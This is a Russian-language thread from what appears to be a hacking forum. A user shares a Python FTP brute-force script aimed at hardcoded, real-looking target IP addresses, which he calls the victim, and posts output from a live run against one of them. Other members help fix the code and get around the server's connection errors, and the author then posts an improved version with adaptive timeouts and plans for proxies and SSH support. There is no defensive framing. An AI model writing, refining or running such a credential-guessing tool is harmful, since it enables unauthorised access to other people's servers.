• XSS.stack #1 – первый литературный журнал от юзеров форума

(Python) FTP-Bruter by KevinShindel v0.1 (покритикуйте)

Kevin Shindel

HDD-drive
Пользователь
Регистрация
04.02.2019
Сообщения
31
Реакции
24
Всем хай. Написал на коленке первый брутер, буду рад критике.

Код:
# coding:utf-8
import ftplib,os,time,socket

# HOSTNAME BLOCK
hostname='117.247.99.29'
dictionary=r'D:\login-pass.txt'

# TIMEOUT BLOCK
time_out=2

# Проверка доступности хоста
def tcping(hostname, port=21, timeout=2):
    s = socket.socket()
    s.settimeout(timeout)
    result = False
    try:
        s.connect((hostname, port))
        s.close()
        result = True
    except Exception, e:
        result = False
    return result

if tcping(hostname):
    print 'Host is up!'
    ftp=ftplib.FTP(hostname,timeout=time_out)

    # Перебор словаря из одного файла
    with open(dictionary,'r') as file:
        for line in file:
            login,password=line.split(':')
            login=str(login).strip()
            password = str(password).strip()
            print '[!] Trying login with %s:%s' % (login, password)
            try:
                time.sleep(time_out)
                if ftp.login(user=login, passwd=password):
                    print '[+] Access granted! Login: %s, Password: %s' % (login, password)
                    ftp.close()
                    break
            except Exception as err:
                print '[-] %s' % err
                # pass  # Ignore errors
    print '[-] BruteForce done... no valid login-pass.'

Пока всё захардкоджено, потом добавлю флаги и аргументы.

Скрипт принимает словарь вида login:pass и айпи адресс жертвы.
Далее пингует её по сокету IP:PORT, если есть пинг значит начинает брут.
Если пинга нет, можно например перескочить на следующий IP.
Дело в том что столкнулся с такой проблемой после н-ного кол-ва брута появляется ошибка [10050] погуглил это вроде как ошибка на уровне сети и дальше сервак зависает.

Что хочу сделать:
  • добавить многопоток
  • принимать аргументы из строки
  • Сократить запись.
  • Отображать время потраченое на брут, кол-во оставшихся комбинаций и прочую статистику.
 
Последнее редактирование:
Не многопоточности, ни проксей. Хз что тут критиковать.
Скинь весь текст ошибки, покажу как её обрабатывать.


Python:
import ftplib,os,time,socket
Плохой тон.

Python:
# Проверка доступности хоста
def tcping(hostname, port=21, timeout=2):
    s = socket.socket()
    s.settimeout(timeout)
    result = False
    try:
        s.connect((hostname, port))
        s.close()
        result = True
    except Exception, e:
        result = False
    return result
Зачем result?

Python:
# Проверка доступности хоста
def tcping(hostname, port=21, timeout=2):
    s = socket.socket()
    s.settimeout(timeout)
    try:
        s.connect((hostname, port))
        s.close()
    except Exception, e:
        return False
    return True

Python:
# Перебор словаря из одного файла
    with open(dictionary,'r') as file:
        ''' file.read().splitlines() разобъёт строку построчно'''
        for line in file:
            ''' Не обрабатывается случай с строкой без : '''
            login,password=line.split(':')
            ''' Пробелы потерял '''
            login=str(login).strip()
            password = str(password).strip()
            ''' Лучше написать "[!] Trying login with {}:{}".format(login, password) '''
            print '[!] Trying login with %s:%s' % (login, password)
            try:
                time.sleep(time_out)
                if ftp.login(user=login, passwd=password):
                    print '[+] Access granted! Login: %s, Password: %s' % (login, password)
                    ftp.close()
                    break
             ''' Тут лови свою ошибку [10050] '''
            except Exception as err:
                print '[-] %s' % err
                # pass  # Ignore errors
    print '[-] BruteForce done... no valid login-pass.'

Функции main нет, смотри PEP8.
 
Последнее редактирование:
ну явно не хватает массовости ) и чтоб пасы с логинами отдельно были
Будет...
Глянь на patator
Смотрел мне не оч. понравился хочется чего то своего.
Не многопоточности, ни проксей. Хз что тут критиковать.
Учтём.
 
Скинь весь текст ошибки, покажу как её обрабатывать.
О сеньк! Напишу....

Python:
import ftplib,os,time,socket
Плохой тон.
Так прост короче ) Хорошо буду построчно указывать.

Зачем result?
Да перечитал, убрал... он там не нужен.

Функции main нет, смотри PEP8.
Оки почитаю.
 
Скинь весь текст ошибки, покажу как её обрабатывать.

Код:
Running C:/Users/Anonymous/.PyCharm2018.1/config/scratches/ftp_client.py
Host is up!
[!] Trying login with admin:12345
[-] 530 Login incorrect.
[!] Trying login with admin:123456
[-] 530 Login incorrect.
[!] Trying login with admin:123qwe
[-] 530 Login incorrect.
[!] Trying login with admin:abc123
[-]
[!] Trying login with admin:admin
[-] [Errno 10053] ��������� �� ����� ����-
[!] Trying login with admin:agata
[-] [Errno 10053] ��������� �� ����� ����-
[!] Trying login with admin:bill

Отакая ерунда...
три попытки и сваливается с 10053 еррором.
Сейчас попробую под линём.
 
Попробуй так обработать:
Python:
except socket.error:
    time.sleep(10) # раз говоришь что через какое-то время хост норм начинает отвечать
Перед:
Python:
except Exception as err:
    print '[-] %s' % err
 
1. Переменные в начале (константы) лучше называть в верхнем регистре (HOSTNAME, TIMEOUT, DICT)
Python:
HOSTNAME = '117.247.99.29'
DICT = r'D:\login-pass.txt'
TIMEOUT = 2

2. Функцию tcping можно урезать
Python:
def tcping(hostname, port=21, timeout=2):
    s = socket.socket()
    s.settimeout(timeout)
    try:
        s.connect((hostname, port))
        s.close()
        return True
    except:
        return False

3. Код проверки логина вынести в отдельную функцию. Следует помнить, что возвращать False явно не всегда обязательно, т.к. если функция ничего не возвращает, то по дефолту это None, а оно есть ложь
Python:
def check_login(hostname, login, password):
    try:
        ftp=ftplib.FTP(hostname, timeout=TIMEOUT)
        if ftp.login(login, password):
            ftp.close()
            return True
    except Exception as err:
        print '[-] Connection to %s error: %s' % (hostname, err)

4. Избегай не нужных вложений блоков как в случае с if tcping(hostname):. Ты бы мог просто проверить на ложь и писать остальной код без отступа
Python:
if not tcping(hostname):
    print 'Host is down!'
    continue # или return

print 'Host is up!'
# ...

5. Не вести работу с данными в контексте открытого файла. Лучше сразу его прочесть, сохранить данные и закрыть. Так же можем сразу проверить формат данных, либо потом, не суть. Но проверить нужно, т.к. данные от пользователя. Твой скрипт может упасть если разделитель не : или пустая строка
Python:
def read_file(filename):
    login_pairs = []
    with open(filename, 'r') as file:
        for line in file:
            line = line.strip() 
            try:
                login_pairs.append(line.split(':'))
            except: 
                print '[-] Bad format: %s' % line
    return login_pairs

6. Всю логику описать в отдельной функции (обычно main()):
Python:
def main():
    # читаем файл
    login_pairs = read_file(DICT)

    # чекаем доступность хоста
    if not tcping(HOSTNAME):
        print 'Host %s is down!' % HOSTNAME
        return # выход

    # перебираем пары логин/пасс
    for login_pair in login_pairs:
        login, password = login_pair
        if check_login(HOSTNAME, login, password):
            print '[+] Access granted to {}}! Login: {}, Password: {}'.format(
                HOSTNAME, login, password)
            break

    print '[-] BruteForce done... '
 
pewpewpew
Очень благодарю за аргументированую критику!
Скоро подшаманю и выпущу пред-релиз. Если дело пойдёт то буду писать SSH и прочие.
(прокси уже кручу)
 
Вот трошки примарафетил, добавил коррекцию таймаута


Python:
# coding:utf-8
import ftplib
import time
import socket
import time
import argparse

# INITIAL BLOCK
HOSTNAME='212.113.48.24'
DIC=r'D:\login_pass.txt'
TIME_OUT=0.25
FAMOST_DIC=[
    'admin',
    'ftp',
    'root',
    'test',
    'user',
    'webmaster'
]
PORT=21

#PING FUNC
def tcping(hostname, port=21):
    s = socket.socket()
    s.settimeout(TIME_OUT)
    try:
        s.connect((hostname, port))
        s.close()
        return True
    except:
        return False

#COUNTER BLOCK
def dic_counter(data):
    counter=0
    with open(data, 'r') as file:
        for line in file:
            counter+=1
    return counter

# CHECK LOGIN
def check_login(hostname, login, password,timeout):
    global TIME_OUT
    try:
        ftp=ftplib.FTP(hostname, timeout=timeout)
        TIME_OUT -= 0.01
        # print "Tryi'n decrease a timeout: %s" % TIME_OUT
        if ftp.login(user=login,passwd=password):
            ftp.close()
            return True
    except socket.error:
        TIME_OUT += 0.15
        print '[!] Timeout is increased to: %s sec' % TIME_OUT
    except Exception as err:
        # print '[-] Connection to %s error: %s' % (hostname, err)
        pass

#CHECK DIC
def read_file(filename):
    login_pairs = []
    with open(filename, 'r') as file:
        for line in file:
            line = line.strip()
            try:
                login_pairs.append(line.split(':'))
            except:
                print '[-] Bad format: %s' % line
    return login_pairs
  
if __name__ == '__main__':
    if not tcping(HOSTNAME):
        print '[!] Host %s is down!' % HOSTNAME

    creds = read_file(DIC)

    for login_pass in creds:
        login,password=login_pass
        print "[!] Log-in with %s:%s" % (login,password)
        if check_login(HOSTNAME,login,password,TIME_OUT):
            print '[+] Access granted to %s! Login: %s, Password: %s' % (HOSTNAME, login, password)
    print '[!] BruteForce done... '
Попозже добавлю аргуенты и прокси.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх